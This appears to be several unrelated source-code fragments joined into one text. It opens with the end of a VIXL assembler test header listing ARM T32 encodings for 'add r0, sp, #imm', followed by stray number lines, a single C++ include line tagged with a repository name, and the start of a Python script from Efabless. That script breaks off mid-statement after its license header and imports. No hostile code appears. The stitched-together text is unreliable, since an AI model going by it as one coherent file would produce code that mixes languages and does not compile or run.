kInstruction_add_al_r0_sp_0x3e8[] = { 0xfa, 0xa8 // add al r0 sp 0x3e8 }; const byte kInstruction_add_al_r0_sp_0x3ec[] = { 0xfb, 0xa8 // add al r0 sp 0x3ec }; const byte kInstruction_add_al_r0_sp_0x3f0[] = { 0xfc, 0xa8 // add al r0 sp 0x3f0 }; const byte kInstruction_add_al_r0_sp_0x3f4[] = { 0xfd, 0xa8 // add al r0 sp 0x3f4 }; const byte kInstruction_add_al_r0_sp_0x3f8[] = { 0xfe, 0xa8 // add al r0 sp 0x3f8 }; const byte kInstruction_add_al_r0_sp_0x3fc[] = { 0xff, 0xa8 // add al r0 sp 0x3fc }; const TestResult kReferenceadd[] = { { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x0), kInstruction_add_al_r0_sp_0x0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x4), kInstruction_add_al_r0_sp_0x4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x8), kInstruction_add_al_r0_sp_0x8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xc), kInstruction_add_al_r0_sp_0xc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x10), kInstruction_add_al_r0_sp_0x10, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x14), kInstruction_add_al_r0_sp_0x14, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x18), kInstruction_add_al_r0_sp_0x18, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1c), kInstruction_add_al_r0_sp_0x1c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x20), kInstruction_add_al_r0_sp_0x20, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x24), kInstruction_add_al_r0_sp_0x24, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x28), kInstruction_add_al_r0_sp_0x28, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2c), kInstruction_add_al_r0_sp_0x2c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x30), kInstruction_add_al_r0_sp_0x30, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x34), kInstruction_add_al_r0_sp_0x34, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x38), kInstruction_add_al_r0_sp_0x38, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3c), kInstruction_add_al_r0_sp_0x3c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x40), kInstruction_add_al_r0_sp_0x40, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x44), kInstruction_add_al_r0_sp_0x44, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x48), kInstruction_add_al_r0_sp_0x48, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x4c), kInstruction_add_al_r0_sp_0x4c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x50), kInstruction_add_al_r0_sp_0x50, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x54), kInstruction_add_al_r0_sp_0x54, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x58), kInstruction_add_al_r0_sp_0x58, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x5c), kInstruction_add_al_r0_sp_0x5c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x60), kInstruction_add_al_r0_sp_0x60, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x64), kInstruction_add_al_r0_sp_0x64, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x68), kInstruction_add_al_r0_sp_0x68, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x6c), kInstruction_add_al_r0_sp_0x6c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x70), kInstruction_add_al_r0_sp_0x70, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x74), kInstruction_add_al_r0_sp_0x74, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x78), kInstruction_add_al_r0_sp_0x78, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x7c), kInstruction_add_al_r0_sp_0x7c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x80), kInstruction_add_al_r0_sp_0x80, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x84), kInstruction_add_al_r0_sp_0x84, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x88), kInstruction_add_al_r0_sp_0x88, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x8c), kInstruction_add_al_r0_sp_0x8c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x90), kInstruction_add_al_r0_sp_0x90, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x94), kInstruction_add_al_r0_sp_0x94, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x98), kInstruction_add_al_r0_sp_0x98, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x9c), kInstruction_add_al_r0_sp_0x9c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xa0), kInstruction_add_al_r0_sp_0xa0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xa4), kInstruction_add_al_r0_sp_0xa4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xa8), kInstruction_add_al_r0_sp_0xa8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xac), kInstruction_add_al_r0_sp_0xac, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xb0), kInstruction_add_al_r0_sp_0xb0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xb4), kInstruction_add_al_r0_sp_0xb4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xb8), kInstruction_add_al_r0_sp_0xb8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xbc), kInstruction_add_al_r0_sp_0xbc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xc0), kInstruction_add_al_r0_sp_0xc0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xc4), kInstruction_add_al_r0_sp_0xc4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xc8), kInstruction_add_al_r0_sp_0xc8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xcc), kInstruction_add_al_r0_sp_0xcc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xd0), kInstruction_add_al_r0_sp_0xd0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xd4), kInstruction_add_al_r0_sp_0xd4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xd8), kInstruction_add_al_r0_sp_0xd8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xdc), kInstruction_add_al_r0_sp_0xdc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xe0), kInstruction_add_al_r0_sp_0xe0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xe4), kInstruction_add_al_r0_sp_0xe4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xe8), kInstruction_add_al_r0_sp_0xe8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xec), kInstruction_add_al_r0_sp_0xec, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xf0), kInstruction_add_al_r0_sp_0xf0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xf4), kInstruction_add_al_r0_sp_0xf4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xf8), kInstruction_add_al_r0_sp_0xf8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0xfc), kInstruction_add_al_r0_sp_0xfc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x100), kInstruction_add_al_r0_sp_0x100, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x104), kInstruction_add_al_r0_sp_0x104, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x108), kInstruction_add_al_r0_sp_0x108, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x10c), kInstruction_add_al_r0_sp_0x10c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x110), kInstruction_add_al_r0_sp_0x110, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x114), kInstruction_add_al_r0_sp_0x114, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x118), kInstruction_add_al_r0_sp_0x118, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x11c), kInstruction_add_al_r0_sp_0x11c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x120), kInstruction_add_al_r0_sp_0x120, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x124), kInstruction_add_al_r0_sp_0x124, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x128), kInstruction_add_al_r0_sp_0x128, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x12c), kInstruction_add_al_r0_sp_0x12c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x130), kInstruction_add_al_r0_sp_0x130, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x134), kInstruction_add_al_r0_sp_0x134, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x138), kInstruction_add_al_r0_sp_0x138, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x13c), kInstruction_add_al_r0_sp_0x13c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x140), kInstruction_add_al_r0_sp_0x140, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x144), kInstruction_add_al_r0_sp_0x144, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x148), kInstruction_add_al_r0_sp_0x148, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x14c), kInstruction_add_al_r0_sp_0x14c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x150), kInstruction_add_al_r0_sp_0x150, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x154), kInstruction_add_al_r0_sp_0x154, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x158), kInstruction_add_al_r0_sp_0x158, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x15c), kInstruction_add_al_r0_sp_0x15c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x160), kInstruction_add_al_r0_sp_0x160, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x164), kInstruction_add_al_r0_sp_0x164, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x168), kInstruction_add_al_r0_sp_0x168, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x16c), kInstruction_add_al_r0_sp_0x16c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x170), kInstruction_add_al_r0_sp_0x170, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x174), kInstruction_add_al_r0_sp_0x174, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x178), kInstruction_add_al_r0_sp_0x178, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x17c), kInstruction_add_al_r0_sp_0x17c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x180), kInstruction_add_al_r0_sp_0x180, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x184), kInstruction_add_al_r0_sp_0x184, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x188), kInstruction_add_al_r0_sp_0x188, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x18c), kInstruction_add_al_r0_sp_0x18c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x190), kInstruction_add_al_r0_sp_0x190, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x194), kInstruction_add_al_r0_sp_0x194, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x198), kInstruction_add_al_r0_sp_0x198, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x19c), kInstruction_add_al_r0_sp_0x19c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1a0), kInstruction_add_al_r0_sp_0x1a0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1a4), kInstruction_add_al_r0_sp_0x1a4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1a8), kInstruction_add_al_r0_sp_0x1a8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1ac), kInstruction_add_al_r0_sp_0x1ac, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1b0), kInstruction_add_al_r0_sp_0x1b0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1b4), kInstruction_add_al_r0_sp_0x1b4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1b8), kInstruction_add_al_r0_sp_0x1b8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1bc), kInstruction_add_al_r0_sp_0x1bc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1c0), kInstruction_add_al_r0_sp_0x1c0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1c4), kInstruction_add_al_r0_sp_0x1c4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1c8), kInstruction_add_al_r0_sp_0x1c8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1cc), kInstruction_add_al_r0_sp_0x1cc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1d0), kInstruction_add_al_r0_sp_0x1d0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1d4), kInstruction_add_al_r0_sp_0x1d4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1d8), kInstruction_add_al_r0_sp_0x1d8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1dc), kInstruction_add_al_r0_sp_0x1dc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1e0), kInstruction_add_al_r0_sp_0x1e0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1e4), kInstruction_add_al_r0_sp_0x1e4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1e8), kInstruction_add_al_r0_sp_0x1e8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1ec), kInstruction_add_al_r0_sp_0x1ec, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1f0), kInstruction_add_al_r0_sp_0x1f0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1f4), kInstruction_add_al_r0_sp_0x1f4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1f8), kInstruction_add_al_r0_sp_0x1f8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x1fc), kInstruction_add_al_r0_sp_0x1fc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x200), kInstruction_add_al_r0_sp_0x200, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x204), kInstruction_add_al_r0_sp_0x204, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x208), kInstruction_add_al_r0_sp_0x208, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x20c), kInstruction_add_al_r0_sp_0x20c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x210), kInstruction_add_al_r0_sp_0x210, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x214), kInstruction_add_al_r0_sp_0x214, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x218), kInstruction_add_al_r0_sp_0x218, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x21c), kInstruction_add_al_r0_sp_0x21c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x220), kInstruction_add_al_r0_sp_0x220, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x224), kInstruction_add_al_r0_sp_0x224, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x228), kInstruction_add_al_r0_sp_0x228, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x22c), kInstruction_add_al_r0_sp_0x22c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x230), kInstruction_add_al_r0_sp_0x230, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x234), kInstruction_add_al_r0_sp_0x234, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x238), kInstruction_add_al_r0_sp_0x238, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x23c), kInstruction_add_al_r0_sp_0x23c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x240), kInstruction_add_al_r0_sp_0x240, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x244), kInstruction_add_al_r0_sp_0x244, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x248), kInstruction_add_al_r0_sp_0x248, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x24c), kInstruction_add_al_r0_sp_0x24c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x250), kInstruction_add_al_r0_sp_0x250, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x254), kInstruction_add_al_r0_sp_0x254, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x258), kInstruction_add_al_r0_sp_0x258, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x25c), kInstruction_add_al_r0_sp_0x25c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x260), kInstruction_add_al_r0_sp_0x260, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x264), kInstruction_add_al_r0_sp_0x264, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x268), kInstruction_add_al_r0_sp_0x268, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x26c), kInstruction_add_al_r0_sp_0x26c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x270), kInstruction_add_al_r0_sp_0x270, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x274), kInstruction_add_al_r0_sp_0x274, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x278), kInstruction_add_al_r0_sp_0x278, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x27c), kInstruction_add_al_r0_sp_0x27c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x280), kInstruction_add_al_r0_sp_0x280, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x284), kInstruction_add_al_r0_sp_0x284, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x288), kInstruction_add_al_r0_sp_0x288, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x28c), kInstruction_add_al_r0_sp_0x28c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x290), kInstruction_add_al_r0_sp_0x290, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x294), kInstruction_add_al_r0_sp_0x294, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x298), kInstruction_add_al_r0_sp_0x298, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x29c), kInstruction_add_al_r0_sp_0x29c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2a0), kInstruction_add_al_r0_sp_0x2a0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2a4), kInstruction_add_al_r0_sp_0x2a4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2a8), kInstruction_add_al_r0_sp_0x2a8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2ac), kInstruction_add_al_r0_sp_0x2ac, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2b0), kInstruction_add_al_r0_sp_0x2b0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2b4), kInstruction_add_al_r0_sp_0x2b4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2b8), kInstruction_add_al_r0_sp_0x2b8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2bc), kInstruction_add_al_r0_sp_0x2bc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2c0), kInstruction_add_al_r0_sp_0x2c0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2c4), kInstruction_add_al_r0_sp_0x2c4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2c8), kInstruction_add_al_r0_sp_0x2c8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2cc), kInstruction_add_al_r0_sp_0x2cc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2d0), kInstruction_add_al_r0_sp_0x2d0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2d4), kInstruction_add_al_r0_sp_0x2d4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2d8), kInstruction_add_al_r0_sp_0x2d8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2dc), kInstruction_add_al_r0_sp_0x2dc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2e0), kInstruction_add_al_r0_sp_0x2e0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2e4), kInstruction_add_al_r0_sp_0x2e4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2e8), kInstruction_add_al_r0_sp_0x2e8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2ec), kInstruction_add_al_r0_sp_0x2ec, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2f0), kInstruction_add_al_r0_sp_0x2f0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2f4), kInstruction_add_al_r0_sp_0x2f4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2f8), kInstruction_add_al_r0_sp_0x2f8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x2fc), kInstruction_add_al_r0_sp_0x2fc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x300), kInstruction_add_al_r0_sp_0x300, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x304), kInstruction_add_al_r0_sp_0x304, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x308), kInstruction_add_al_r0_sp_0x308, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x30c), kInstruction_add_al_r0_sp_0x30c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x310), kInstruction_add_al_r0_sp_0x310, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x314), kInstruction_add_al_r0_sp_0x314, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x318), kInstruction_add_al_r0_sp_0x318, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x31c), kInstruction_add_al_r0_sp_0x31c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x320), kInstruction_add_al_r0_sp_0x320, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x324), kInstruction_add_al_r0_sp_0x324, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x328), kInstruction_add_al_r0_sp_0x328, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x32c), kInstruction_add_al_r0_sp_0x32c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x330), kInstruction_add_al_r0_sp_0x330, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x334), kInstruction_add_al_r0_sp_0x334, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x338), kInstruction_add_al_r0_sp_0x338, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x33c), kInstruction_add_al_r0_sp_0x33c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x340), kInstruction_add_al_r0_sp_0x340, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x344), kInstruction_add_al_r0_sp_0x344, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x348), kInstruction_add_al_r0_sp_0x348, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x34c), kInstruction_add_al_r0_sp_0x34c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x350), kInstruction_add_al_r0_sp_0x350, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x354), kInstruction_add_al_r0_sp_0x354, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x358), kInstruction_add_al_r0_sp_0x358, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x35c), kInstruction_add_al_r0_sp_0x35c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x360), kInstruction_add_al_r0_sp_0x360, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x364), kInstruction_add_al_r0_sp_0x364, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x368), kInstruction_add_al_r0_sp_0x368, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x36c), kInstruction_add_al_r0_sp_0x36c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x370), kInstruction_add_al_r0_sp_0x370, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x374), kInstruction_add_al_r0_sp_0x374, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x378), kInstruction_add_al_r0_sp_0x378, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x37c), kInstruction_add_al_r0_sp_0x37c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x380), kInstruction_add_al_r0_sp_0x380, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x384), kInstruction_add_al_r0_sp_0x384, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x388), kInstruction_add_al_r0_sp_0x388, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x38c), kInstruction_add_al_r0_sp_0x38c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x390), kInstruction_add_al_r0_sp_0x390, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x394), kInstruction_add_al_r0_sp_0x394, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x398), kInstruction_add_al_r0_sp_0x398, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x39c), kInstruction_add_al_r0_sp_0x39c, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3a0), kInstruction_add_al_r0_sp_0x3a0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3a4), kInstruction_add_al_r0_sp_0x3a4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3a8), kInstruction_add_al_r0_sp_0x3a8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3ac), kInstruction_add_al_r0_sp_0x3ac, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3b0), kInstruction_add_al_r0_sp_0x3b0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3b4), kInstruction_add_al_r0_sp_0x3b4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3b8), kInstruction_add_al_r0_sp_0x3b8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3bc), kInstruction_add_al_r0_sp_0x3bc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3c0), kInstruction_add_al_r0_sp_0x3c0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3c4), kInstruction_add_al_r0_sp_0x3c4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3c8), kInstruction_add_al_r0_sp_0x3c8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3cc), kInstruction_add_al_r0_sp_0x3cc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3d0), kInstruction_add_al_r0_sp_0x3d0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3d4), kInstruction_add_al_r0_sp_0x3d4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3d8), kInstruction_add_al_r0_sp_0x3d8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3dc), kInstruction_add_al_r0_sp_0x3dc, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3e0), kInstruction_add_al_r0_sp_0x3e0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3e4), kInstruction_add_al_r0_sp_0x3e4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3e8), kInstruction_add_al_r0_sp_0x3e8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3ec), kInstruction_add_al_r0_sp_0x3ec, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3f0), kInstruction_add_al_r0_sp_0x3f0, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3f4), kInstruction_add_al_r0_sp_0x3f4, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3f8), kInstruction_add_al_r0_sp_0x3f8, }, { ARRAY_SIZE(kInstruction_add_al_r0_sp_0x3fc), kInstruction_add_al_r0_sp_0x3fc, }, }; #endif // VIXL_ASSEMBLER_COND_RD_SP_OPERAND_IMM8_ADD_T32_H_
25,624
647
<reponame>gilbertguoze/trick #include "trick/CheckPointAgent.hh"
27
354
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2021 Efabless Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import re import sys import pathlib import traceback from os.path import dirname, abspath, join try: import yaml except: # If YAML doesn't exist, there is 100% a version mismatch. print(f"Environment does not support yaml manifest comparison.", 